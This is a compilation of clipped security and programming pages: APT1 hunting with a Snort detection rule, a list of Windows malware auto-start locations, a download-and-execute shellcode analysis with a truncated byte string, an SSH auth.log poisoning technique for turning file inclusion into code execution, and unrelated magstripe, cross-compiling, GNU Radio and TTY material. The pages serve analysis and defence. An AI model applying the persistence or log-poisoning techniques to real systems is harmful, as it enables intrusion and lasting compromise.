PacketStash APT1.rules file  for Suricata and Snort \(thanks, Snorby Labs\), I
went hunting \(CTRL-F in the Redline UI\) for strings matches to the known
FQDNs**.** I found 11 matches for purpledaily.com and 28 for newsonet.net as
seen in **Figure 4****.**

<img src='img/Temp2_3953.png' />  
---  
**Figure 4:** Strings yields matches too  
Great**\!** If I have alert udp $HOME\_NET any -> $EXTERNAL\_NET 53
\(msg:"\[SC\] Known APT1 domain \(purpledaily.com\)";
content:"|0b|purpledaily|03|com|00|"…snipped enabled on my sensors I should
see all the _other_ systems that may be pwned with this sample**.**

Be advised that the latest version of Redline \(1**.** 7 as this was written\)
includes powerful, time-related filtering options including Field Filters,
TimeWrinkle, and TimeCrunch**.** Explore them as you seek out APT1 attributes.
There are _lots_ of options for analysis**.** Read the Redline Users Guide
before beginning so as to be full informed**.** J

**In Conclusion**

I’m feeling overly dramatic right now**.** Ten years now I’ve been waiting for
what many of us have known or suspected all along to be blown wide open**.**
APT1, presidential decrees, and “it’s not us,” oh my**.** Mandiant has offered
both the fodder and the ammunition you need to explore and inform, so
awake**\!** I’ll close with a bit of the Bard \(Ariel, from The Tempest\):

_While you here do snoring lie,_

_Open-ey'd Conspiracy_

_His time doth take**.**_

_If of life you keep a care,_

_Shake off slumber, and beware**.**_

_Awake, awake**\!**_

I am calling you to action and begging of your wariness; your paranoia is
warranted**.** If in doubt of the integrity of a system, hunt**\!** There are
entire network ranges that you may realize you don’t _need_ to allow access to
or from your network**.** Solution**?** Ye olde deny statement \(thanks for
reminding me, TJ\)**.** Time for action; use exemplary tools such as Redline
to your advantage, where advantages are few**.**

Ping me via email if you have questions or suggestions for topic via russ at
holisticinfosec dot org or hit me on Twitter @holisticinfosec**.**

Cheers…until next month**.**

**Acknowledgements**

To the good folks at Mandiant:

Ted Wilson, Redline developer

Richard Bejtlich, CSO

Kevin Kin and Lucas Zaichkowsky, Sales Engineers

****

# List of Windows Auto Start Locations — PenTestIT

**Created:**| _9/27/2009 7:01:42 PM_  
---|---  
**Updated:**| _9/27/2009 7:01:54 PM_  
**Author:**| __  
**Tags:**| _windows security reversing Malware-analysis_  
  

# List of Windows Auto Start Locations

by BLACK on SEPTEMBER 27, 2009

in MALWARE ANALYSIS, WINDOWS

This is a list of  _auto-start locations_ that malware’s normally use to
restart themselves on a system reboot. It was with us since the time we
basically started working on  _malware analysis_.

We have tried to find their Windows Vista entries too. Windows 7, we don’t
know yet. Now, some might not work on all platforms. They might not work on
Windows 98, 95, ME, etc. as they are not Windows NT bases and the NT’s work
differently. Some will also work without any registry key manipulation.

We have maintained a few known abbreviations just to shorten the post. They
are as follows:  
**HKLM** : HKEY\_LOCAL\_MACHINE  
**HKCU** : HKEY\_CURRENT\_USER  
**HKCR** : HKEY\_CLASSES\_ROOT  
**%windir%** : The Windows Directory. Can be C:\Windows or C:\WINNT or
anything, depending on the location, the OS & the customization of the OS\!  
**%USERPROFILE%** : Normally is C:\Documents and Settings\, depending on the
installation location.  
**%ALLUSERSPROFILE%** : Normally is C:\Documents and Settings\All Users,
depending on the installation location.

Please keep in mind that the Windows registry is very sensitive and you should
fiddle with it only if you know how to get out of it\! We should not be held
responsible for any harm coming out of their usage\!

Beginning with registry methods:

`1. HKLM\System\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\StartupPrograms  
2. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AppSetup  
3. HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Startup  
4. HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logon  
5. HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logon  
6. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit  
7. HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\Shell  
8. HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell  
9. HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Shell  
10. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell  
11. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Taskman  
12. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce  
13. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx  
14. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run  
15. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  
16. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx  
17. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce  
18. HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load  
19. HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run  
20. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run  
21. HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run  
22. HKCU\Software\Microsoft\Windows\CurrentVersion\Run  
23. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce  
24. HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup\  
25. HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce  
26. HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx  
27. HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Run  
28. HKLM\SOFTWARE\Classes\Protocols\Filter  
29. HKLM\SOFTWARE\Classes\Protocols\Handler  
30. HKCU\SOFTWARE\Microsoft\Internet Explorer\Desktop\Components  
31. HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components  
32. HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components  
33. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler  
34. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad  
35. HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad  
36. HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks  
37. HKCU\Software\Classes\*\ShellEx\ContextMenuHandlers  
38. HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers  
39. HKCU\Software\Classes\AllFileSystemObjects\ShellEx\ContextMenuHandlers  
40. HKLM\Software\Classes\AllFileSystemObjects\ShellEx\ContextMenuHandlers  
41. HKCU\Software\Classes\Folder\ShellEx\ContextMenuHandlers  
42. HKLM\Software\Classes\Folder\ShellEx\ContextMenuHandlers  
43. HKCU\Software\Classes\Directory\ShellEx\ContextMenuHandlers  
44. HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers  
45. HKCU\Software\Classes\Directory\Background\ShellEx\ContextMenuHandlers  
46. HKLM\Software\Classes\Directory\Background\ShellEx\ContextMenuHandlers  
47. HKCU\Software\Classes\Folder\Shellex\ColumnHandlers  
48. HKLM\Software\Classes\Folder\Shellex\ColumnHandlers  
49. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers  
50. HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers  
51. HKCU\Software\Microsoft\Ctf\LangBarAddin  
52. HKLM\Software\Microsoft\Ctf\LangBarAddin  
53. HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved  
54. HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved  
55. HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects  
56. HKCU\Software\Microsoft\Internet Explorer\UrlSearchHooks  
57. HKLM\Software\Microsoft\Internet Explorer\Toolbar  
58. HKCU\Software\Microsoft\Internet Explorer\Explorer Bars  
59. HKLM\Software\Microsoft\Internet Explorer\Explorer Bars  
60. HKCU\Software\Microsoft\Internet Explorer\Extensions  
61. HKLM\Software\Microsoft\Internet Explorer\Extensions  
62. HKLM\System\CurrentControlSet\Services  
63. HKLM\System\CurrentControlSet\Services  
64. HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute  
65. HKLM\System\CurrentControlSet\Control\Session Manager\SetupExecute  
66. HKLM\System\CurrentControlSet\Control\Session Manager\Execute  
67. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options  
68. HKLM\Software\Microsoft\Command Processor\Autorun  
69. HKCU\Software\Microsoft\Command Processor\Autorun  
70. HKLM\SOFTWARE\Classes\Exefile\Shell\Open\Command\(Default)  
71. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls  
72. HKLM\System\CurrentControlSet\Control\Session Manager\KnownDlls  
73. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\System  
74. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UIHost  
75. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify  
76. HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL  
77. HKCU\Control Panel\Desktop\Scrnsave.exe  
78. HKLM\System\CurrentControlSet\Control\BootVerificationProgram\ImagePath  
79. HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9  
80. HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors  
81. HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SecurityProviders  
82. HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages  
83. HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages  
84. HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages  
85. HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order  
86. HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load  
87. HKCR\batfile\shell\open\command @="\"%1\" %*"  
88. HKCR\comfile\shell\open\command @="\"%1\" %*"  
89. HKCR\exefile\shell\open\command @="\"%1\" %*"  
90. HKCR\htafile\Shell\Open\Command @="\"%1\" %*"  
91. HKCR\piffile\shell\open\command @="\"%1\" %*"  
92. HKLM\Software\Classes\batfile\shell\open\command  
93. HKLM\Software\Classes\comfile\shell\open\command  
94. HKLM\Software\Classes\exefile\shell\open\command  
95. HKLM\Software\Classes\htafile\shell\open\command  
96. HKLM\Software\Classes\piffile\shell\open\command  
97. HKLM\System\CurrentControlSet\Control\Class\{4D36E96B-E325-11CE-BFC1-08002BE10318}\UpperFilters  
98. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\VmApplet  
99. HKLM\Software\Microsoft\Windows NT\CurrentVersion\InitFileMapping  
100. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Aedebug  
101. HKLM\Software\Classes\CLSID\{CLSID}\Implemented Categories\{00021493-0000-0000-C000-000000000046}  
102. HKLM\Software\Classes\CLSID\{CLSID}\Implemented Categories\{00021494-0000-0000-C000-000000000046}  
103. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\Application  
104. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.cmd\Application  
105. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.com\Application  
106. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\Application  
107. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta\Application  
108. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pif\Application  
109. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.scr\Application  
110. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.bat\ProgID  
111. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.cmd\ProgID  
112. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.com\ProgID  
113. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.exe\ProgID  
114. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hta\ProgID  
115. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pif\ProgID  
116. HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.scr\ProgID  
117. HKLM\Software\CLASSES\batfile\shell\open\command @="\"%1\" %*"  
118. HKLM\Software\CLASSES\comfile\shell\open\command @="\"%1\" %*"  
119. HKLM\Software\CLASSES\exefile\shell\open\command @="\"%1\" %*"  
120. HKLM\Software\CLASSES\htafile\Shell\Open\Command @="\"%1\" %*"  
121. HKLM\Software\CLASSES\piffile\shell\open\command @="\"%1\" %*"  
122. HKCR\vbsfile\shell\open\command\  
123. HKCR\vbefile\shell\open\command\  
124. HKCR\jsfile\shell\open\command\  
125. HKCR\jsefile\shell\open\command\  
126. HKCR\wshfile\shell\open\command\  
127. HKCR\wsffile\shell\open\command\  
128. HKCR\scrfile\shell\open\command\  
129. HKLM\Software\Microsoft\Active Setup\Installed Components\KeyName  
StubPath=C:\PathToFile\Filename.exe`

Now, we will start with folder auto start locations.  
`%ALLUSERSPROFILE%\Start Menu\Programs\Startup  
%USERPROFILE%\Start Menu\Programs\Startup  
%windir%\Tasks  
%windir%\System32\Tasks - Windows Vista  
%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup  
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`

In addition to this, there are some more files which when added an entry, will
restart the file.  
win.ini:  
`[windows]  
load=file.exe`

OR

`[windows]  
run=file.exe`

system.ini:  
`[boot]  
Shell=Explorer.exe file.exe`

windir\dosstart.bat \(Windows 95 or Windows 98 only\)  
windir\system\autoexec.nt  
windir\system\config.nt

  *[SEPTEMBER 27, 2009]: 2009-09-27

# ThreatFire Research Blog: Shellcode analysis -- download n' exec

**Created:**| _9/26/2009 7:07:39 PM_  
---|---  
**Updated:**| _9/26/2009 7:07:49 PM_  
**Author:**| __  
**Tags:**| _shellcode analysis_  
  

### Shellcode analysis -- download n' exec

In a previous post, I mentioned that we could use c code to analyze some
shellcode currently being posted in the wild by malicious web site operators.  
  
These malicious websites are delivering malware by exploiting several Windows
based vulnerabilities. The websites attack visitors by targeting
vulnerabilities in .ani file parsing, .wmf file parsing, and rtsp content-type
string parsing in the QuickTime plugin.  
  
In our labs, we visit these web sites with vulnerable systems, allowing the
pages to compromise the systems. We then analyze the techniques being used.
Let's take a quick look at a major part of the attack -- the shellcode within
the delivered malformed wmf file. We'll take a look at the low level data
content of the malformed file itself:  
  
<img src='img/Temp2_8388.jpg' />  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
After seeing a lot of these malformed files, you can spot the shellcode right
away. I did in the above image after a quick visual scan, but sometimes
details of the file format need to be known to find the shellcode on the first
try.  
We copy out the string of shellcode hex data into a c-style string, like this
one:  
"\x83\xec\x10\xd9\xee\xd9\x74\x24\xf4\x58\x33\xc9\xb1\xdb..."  
  
I copy it into the buffer in the c file from the previous post, and the
assignment will look like this:  
unsigned char shellcode\[\] =
"\x83\xec\x10\xd9\xee\xd9\x74\x24\xf4\x58\x33\xc9\xb1..."  
  
I compile it using gcc, but you can use the cl.exe Microsoft compiler if you
would like -- whatever c compiler should be fine. I've never seen a problem
with substituting one for another:  
C:\sh\>gcc sh3ll.c -o sh3ll.exe  
  
The compiler emits an expected warning that can be ignored, and now we have an
executable to work with. We'll run it in Olly to its entry point, and then
search for the beginning of the shellcode string in memory. When we find it,
we'll set a memory access break point on that memory location and then let the
process run to that point by hitting f9.  
When the debugger arrives at this starting point for the shellcode, the
debugger shows us a very strange listing -- "jno" instruction followed by a
bunch of "cnq" instructions? The listing looks very strange:  
  
<img src='img/Temp2_8390.jpg' />  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
We hit f7 a few times and notice "xor byte ptr ds:\[eax+12\], 99", followed by
a loopd instruction that takes us back to a few lines prior. This loop is an
xor decoder loop, implemented in this shellcode because we are exploiting BoF,
and usually that means we are attacking a string handling flaw. Any "00" or
null bytes in the code will likely crash the code, as explained in chaps 3, 7,
9.  
We also notice that ecx is set to "0xdbh" at 0040200e, meaning that this loop
will decode the subsequent 219 bytes of data:  
  
<img src='img/Temp2_8389.jpg' />  
  
  
  
  
  
  
  
  
We can continue stepping through the code with f7, watching the decoding
taking place, until ecx decrements to zero. When it finishes, we step through
a bit more slowly.  
Stepping into the instructions with f7 now reveals the code searching for
kernel32's location in the process space using the common and reliable
technique of parsing the PEB and its module initialization linked lists. It
then searches for LoadLibraryA, ExitThread, and WinExec win32 api calls. It
loads urlmon and finds URLDownloadToFileA. These calls all tell us that this
shellcode's functionality is download and execute -- and we can observe the
url strings that the code is communicating with.  
Download and execute shellcode like this happens to be some of the most
prevalent shellcode that we see served up by malicious web sites.  
  
Hope that you learned a few things about the sorts of techniques we can use to
analyze shellcode and its behaviors. Let me know what you think of it\!

# INBOT 2012

**Created:**| _12/22/2011 10:39:02 AM_  
---|---  
**Updated:**| _12/22/2011 10:39:02 AM_  
**Author:**| __  
**Tags:**| _bookmark conference-material_  
  

## INBOT 2012: March, 1st & 2nd in Aachen, Germany

<img src='img/Temp2_4233.png' alt='inbot logo' /> INBOT 2012 is going to
happen for the _fifth_ iteration\! Again, the event will take place in
**Aachen** \-- a beautiful city near Cologne and centre of the old Europe \--
in the facilities of the RWTH Aachen University's «UMIC Excellence Cluster».
The IT Security Chair is in the same building. We will make this a two-day
workshop, with some time for socializing in the evening. The workshop dates
are **2012-03-01** till **2012-03-02** with arrival on **2012-02-29** in the
afternoon and introductory socializing in the evening.

To accomodate the change of scope of this event, the event has been renamed to
_Interesting and Novel Binary Occultism Tradeshow_ \(or _Ignorant Noobs
Butchering Obscure Topics_ as someone suggested\). We have a stronger focus on
«anything binary» than in the previous years, while not looking exclusively at
botnets anymore. This shift was already progressing slowly over the last two
editions and it is now official.

Last year's event was bigger than previous events. To keep INBOT a cozy and
private event with few people, we will cap attendance at 60 guests this time
\(also, we don't have room for more\). Since last year uninvited people tried
to sneak in for the first time, we will be sending per-invitee access codes
and verify them at entrance.

We are still looking for people who would like to present. If you have some
interesting stuff that fits in the event's topic and you would like to talk
about it at INBOT, please apply for a slot. Topics should rather be technical
than scientific, but there is no real restriction. As long as you have
interesting things to tell, you will have listeners. Room for audience
discussion is a must. Topics could be:

  * Reverse Engineering Automation
  * Binary Exploitation Techniques
  * Anything on Instruction Level
  * Botnet Tracking
  * Honeypot Technology
  * Everything related to Coding and Development
  * Botnet Takedown Ideas
  * Network Intrusion Detection
  * Shoelaces - Secure Knots

INBOT 2012 is a non-commercial event, it is **free to attend**\!

# Category:Windows Reversing Technique Tutorials - Collaborative RCE Knowledge
Library

**Created:**| _3/24/2010 10:08:20 AM_  
---|---  
**Updated:**| _3/24/2010 10:08:41 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing Tutorials_  
  

# Windows Reversing Technique Tutorials

# Somewhat technical musings: Compiling Windows Executables on Linux

**Created:**| _4/13/2011 7:47:25 AM_  
---|---  
**Updated:**| _4/13/2011 7:47:25 AM_  
**Author:**| __  
**Tags:**| _compiler-building windows Linux_  
  

##

### Compiling Windows Executables on Linux

For me Windows is like that girl that you want to forget about but you can't
because she seems to be everywhere and too many people like her. As a software
engineer you can't just leave windows behind because too many people still
rely on it. If only there were a way that I could continue to use Linux but
easily provide the same software for Windows.  
  
What I'm talking about is cross compiling. It simply refers to compiling
software to run on a target system that is different from the system running
the compiler. This has been common in the Linux community and the embedded
development communities for years. I'm going to describe the steps to
installing cross compilers for Windows 32-bit and 64-bit on Fedora 14. I'm
also going to show how to set-up Eclipse projects and create build
configurations that will use the cross compilers to generate binary files that
will run on Windows.  
  
Thanks to Eric van Pienbroek and some other volunteers, Fedora 15 will be
shipped with the MinGW64 \(Minimum GNU tools for Windows x64\) cross compiling
toolchain. Until then you can install the compilers using the repository file
from the Cross Compiler Framework wiki page. Alternatively this can be done
from the command line with the following:  
  

cd /etc/yum.repos.d

sudo wget http://build1.openftd.org/fedora-cross/fedora-cross.repo

  
Now that the repository is set-up you can install the toolchain using the
following command:  
  

sudo yum install mingw32-gcc mingw32-gcc-c++ mingw64-gcc mingw64-gcc-c++

  
Congratulations you can now compile Windows executables from your Fedora
machine\! All of your favorite GCC tools are provided for working with Windows
executables such as strip, nm, ar, and even GDB\! All tools are prefixed with
i686-w64-mingw32- or x86\_64-w64-mingw32-. You can even build code using
autoconf tools using the mingw32-configure and mingw64-configure tools.
Continue reading if you want to learn how to set-up Eclipse projects to cross
compile using your newly installed cross toolchain.  
  
Open Eclipse and select new C++ project. For the project type select 'Empty
Project' and 'Linux GCC' for the toolchain. While Eclipse does provide options
'Cross-Compile Project' and 'Cross GCC' I have found both lacking full
support. For example, if you select a Cross GCC toolchain Eclipse will ask you
for the prefix of the tool chain which in our case would be i686-w64-mingw32-.
In the project options under 'C/C++ Build'-> 'Tool Chain Editor' you can
select the tools you want to use to build the project and there are a few
listed such as 'Cross G++ Compiler' and 'Cross GCC Compiler' but there is no
cross archiver or cross assembler, even though these tools are supplied by the
MinGW toolchain.  
  
For this reason I suggest selecting the 'Linux GCC' toolchain. Then open the
project options and under 'C/C++ Build' -> 'Settings' add the prefix
i686-w64-mingw32- \(or x86\_64-w64-mingw32- for 64-bit executables\) to each
tools command.  
  
Because these binaries are built with the MinGW32/64 they require
libgcc\_s\_sjlj-1.dll to be distributed with the binary. The DLL can be found
in the /usr/i686-w64-mingw32/sys-root/mingw/bin \(or
/usr/x86\_64-w64-mingw32/sys-root/mingw/bin\) directory. The extra DLL is
required to for setjmp/longjmp C exception handling and is approximately 500K
in size.  
  
If you're not too worried about the size of your binaries you can have the
linker statically link in this code, that way you won't have to distribute the
shared DLL with your binary. To do this you need to tell the linker to
statically link the binary. Open the project properties in Eclipse and select
'C/C++ Build' -> 'Settings' then select the 'Miscellaneous' option of the
linker. Add the -static option to the 'Linker flags' text box.  
  
When building binaries with C++ you will also be required to distribute
libstdc++-6.dll with your binary. This is the standard C++ library and is
quite large \(~6MB\). Like libgcc\_s\_sjlj-1.dll it can be statically compiled
into your binary with the -static option to the linker. The resulting size of
your binary will depend on how much of the standard library you happen to
utilize.  
  
Now that you can build Windows executables and DLL without leaving Linux, get
out there and try it out\! If you find that this is helpful don't forget to
thank Erik van Pienbroek and the rest of the Fedora MinGW64 special interest
group for all their hard work that has made this possible. If I have enough
time and there is enough interest I will post about how to use GDB to debug
the Windows binaries built with the MinGW64 toolchain.

# PaulDotCom: Archives

**Created:**| _5/11/2011 8:55:09 PM_  
---|---  
**Updated:**| _5/11/2011 8:55:09 PM_  
**Author:**| __  
**Tags:**| _attacks awesome Defense_  
  

# Using SSH Logs For Remote File Include

By John Strand on May 11, 2011 2:44 PM  | Permalink
Here is a wonderful post from Lanmaster53. You need to make this site one of
your favorites.

Log poisoning has been used for years to upgrade local file inclusion
vulnerabilities to remote command execution. In most cases, web server logs
are used to execute such an attack. Most admins have become wise to the
technique and do a decent job of preventing this. However, an equal amount of
attention is not always paid to authentication logs.  
  
  
I was recently attempting to exploit a LFI vulnerability on a pen test and was
having no luck poisoning the web server logs. Previous scans of the target
showed that an OpenSSH service was running. I took one last shot at the LFI
vulnerability and below was the result. I was shocked to find that auth.log
was world readable.  
  
  
<img src='img/Temp2_6166.png' />  
  
  
By default, OpenSSH makes an entry \(consisting of the user name and other
data\) to auth.log for every authentication attempt made to the ssh daemon.
Knowing this, I did some quick testing and found that I could inject php code
into auth.log from the user name field of an ssh client by attempting to
authenticate. The command took some time to get working right as bash requires
finesse for processing special characters, but after some troubleshooting, I
came up with the following:  
  
  
<img src='img/Temp2_6165.png' />  
  
  
One issue I encountered is that OpenSSH makes 3 entries containing the user
name to auth.log for every authentication attempt. In the following example,
only one authentication attempt was made, but, as you can see, it appears in
the log 3 times.  
  
  
<img src='img/Temp2_6164.png' />  
  
  
The injected command will run 3 times unless php execution is terminated after
the 1st command. I did this above with the `exit;` command. The unfortunate
side effect is that you have one chance to get this right. Otherwise, you have
to wait until the log cycles before you can make another attempt. Here is what
the final product looked like with the addition of a pre-format tag for
aesthetics.  
  
  
<img src='img/Temp2_6163.png' />

As originally posted here.

  *[May 11, 2011  2:44 PM

    ]: 2011-05-11T14:44:34-05:00

# MatthewNeely.com - Security Second Thoughts - Magstripe Analysis Part 1 –
Introduction to Magstripe Cards

**Created:**| _5/21/2009 12:05:17 PM_  
---|---  
**Updated:**| _5/21/2009 12:10:25 PM_  
**Author:**| __  
**Tags:**| _Hacks_  
  

**MAGSTRIPE ANALYSIS PART 1 – INTRODUCTION TO MAGSTRIPE CARDS**  

SUNDAY, DECEMBER 21, 2008 AT 9:30PM

From time to time I encounter magnetic stripe \(magstripe\) cards when
performing penetration tests and security assessment. I mainly encounter them
when looking at physical access control systems and kiosks. During these
assessments it is often important to understand what is encoded onto these
cards and what will happen if you change the data stored on the cards, it's
amazing how many systems do not sanitize the data received from a magcard.

<img src='img/Temp2_5263.jpg' />

This post is the first in a multipart series on reading, analyzing and
manipulating magnetic stripe \(magstripe\) cards. Before I get into the fun
stuff I'll give a little introduction to magstripes. The “standard” magstripe
card is defined by the ISO 7810standard and a couple of extensions to that
standard. ISO 7810 covers the physical characteristics of identification cards
such as the dimensions of the card.

ISO 7811 is an extension to 7810 and covers how data is physically recorded
onto the card. A standard magstripes can hold up to three tracks of data. The
physical dimensions and locations of these tracks are defined in this ISO
standard. 7811 also covers the coercivity of the magstrip. The two coercivity
ratings, HiCo and LoCo, will be covered in a future post.

<img src='img/Temp2_5264.jpg' />

ISO 7813 is another extension to 7810 and covers the format used to encode
data on financial transaction cards. Although this standard was developed for
use on financial transaction cards such as ATM and credit cards it is now the
standard used by most magstripe cards. These other cards may not follow the
exact specifications listed in 7813 but generally they use the same character
set, bits per inch \(BPI\) and parity bits defined in 7813. This standard only
defines track one and two. The third track is defined by the Thrift-Savings
industry \(ISO 4909\). All three standards are presented below.

Track 1 is encoded at 210 bits per inch \(BPI\), uses 7-bit character \(6 data
bits and 1 parity bit\) and can contain up to 79 alphanumeric characters. The
start sentinel at the beginning of the strip is a “%”, fields are generally
separated using a “^” or “%” and the end sentinel is a “?”. After the end
sentinel is a Longitudinal Redundancy Check \(LRC\) value.

<img src='img/Temp2_5266.jpg' />Track One Layout

Track 2 is encoded at 75 BPI, uses 5-bit characters \(4 data bits and 1
parity\) and can contain up to 40 numeric characters. Track 2 uses the BCD
character set which includes numbers 0-9 and special characters** : ; < = >
?** . The start sentinel at the beginning of the strip is a “;”, fields are
separated using a “=” and the end sentinel is a “?”. After the end sentinel is
an LRC value.

<img src='img/Temp2_5265.jpg' />Track Two Layout

Track 3 \(also called THIFT format\) also uses the BCD character set from
track 2 but encodes data at 210 BPI and can hold up to 107 numeric characters.

<img src='img/Temp2_5265.jpg' />Track Three Layout

I think that's about enough writing for one day. Next in the series I'll be
covering the differences between HiLo and LoCo cards\!

If you have any specific questions about magstripe cards or topics you'd like
me to cover post them in the comments and I'll be sure to include them in
future posts.

# GNU Radio 3.2svn C++ API: Slicing and Dicing Streams

**Created:**| _3/9/2011 11:30:50 AM_  
---|---  
**Updated:**| _3/9/2011 11:31:00 AM_  
**Author:**| __  
**Tags:**| _Gnuradio_  
  

# Slicing and Dicing Streams  
\[GNU Radio C++ Signal Processing Blocks\]

Collaboration diagram for Slicing and Dicing Streams:

<img src='img/Temp2_3379.png' />  
---  
---  
  

## Classes  
class  | gr\_deinterleave  
| deinterleave a single input into N outputs More...  
  
class  | gr\_head  
| copies the first N items to the output then signals done Useful for building
test cases More...  
  
class  | gr\_interleave  
| interleave N inputs to a single output More...  
  
class  | gr\_keep\_one\_in\_n  
| decimate a stream, keeping one item out of every n. More...  
  
class  | gr\_skiphead  
| skips the first N items, from then on copies items to the output Useful for
building test cases and sources which have metadata or junk at the start
More...  
  
class  | gr\_stream\_to\_streams  
| convert a stream of items into a N streams of items Converts a stream of N
items into N streams of 1 item. Repeat ad infinitum. More...  
  
class  | gr\_stream\_to\_vector  
| convert a stream of items into a stream of blocks containing
nitems\_per\_block More...  
  
class  | gr\_streams\_to\_stream  
| Convert N streams of 1 item into a 1 stream of N items Convert N streams of
1 item into 1 stream of N items. Repeat ad infinitum. More...  
  
class  | gr\_streams\_to\_vector  
| convert N streams of items to 1 stream of vector length N More...  
  
class  | gr\_vector\_to\_stream  
| convert a stream of blocks of nitems\_per\_block items into a stream of
items More...  
  
class  | gr\_vector\_to\_streams  
| Convert 1 stream of vectors of length N to N streams of items. More...  
  
  

# http://www.cse.ust.hk/gpuqp/Mars.html

**Created:**| _2/16/2010 11:07:46 PM_  
---|---  
**Updated:**| _2/16/2010 11:08:02 PM_  
**Author:**| __  
**Tags:**| _programming cuda_  
  
<img src='img/Temp2_10325' />

# The TTY demystified

**Created:**| _8/17/2015 2:24:16 PM_  
---|---  
**Updated:**| _8/17/2015 2:24:16 PM_  
**Author:**| __  
**Tags:**| _Unix History_  
  

# The TTY demystified

<img src='img/Temp2_8327.jpg' />

Real teletypes in the 1940s.

The TTY subsystem is central to the design of Linux, and UNIX in general.
Unfortunately, its importance is often overlooked, and it is difficult to find
good introductory articles about it. I believe that a basic understanding of
TTYs in Linux is essential for the developer and the advanced user.

Beware, though: What you are about to see is not particularly elegant. In
fact, the TTY subsystem — while quite functional from a user's point of view —
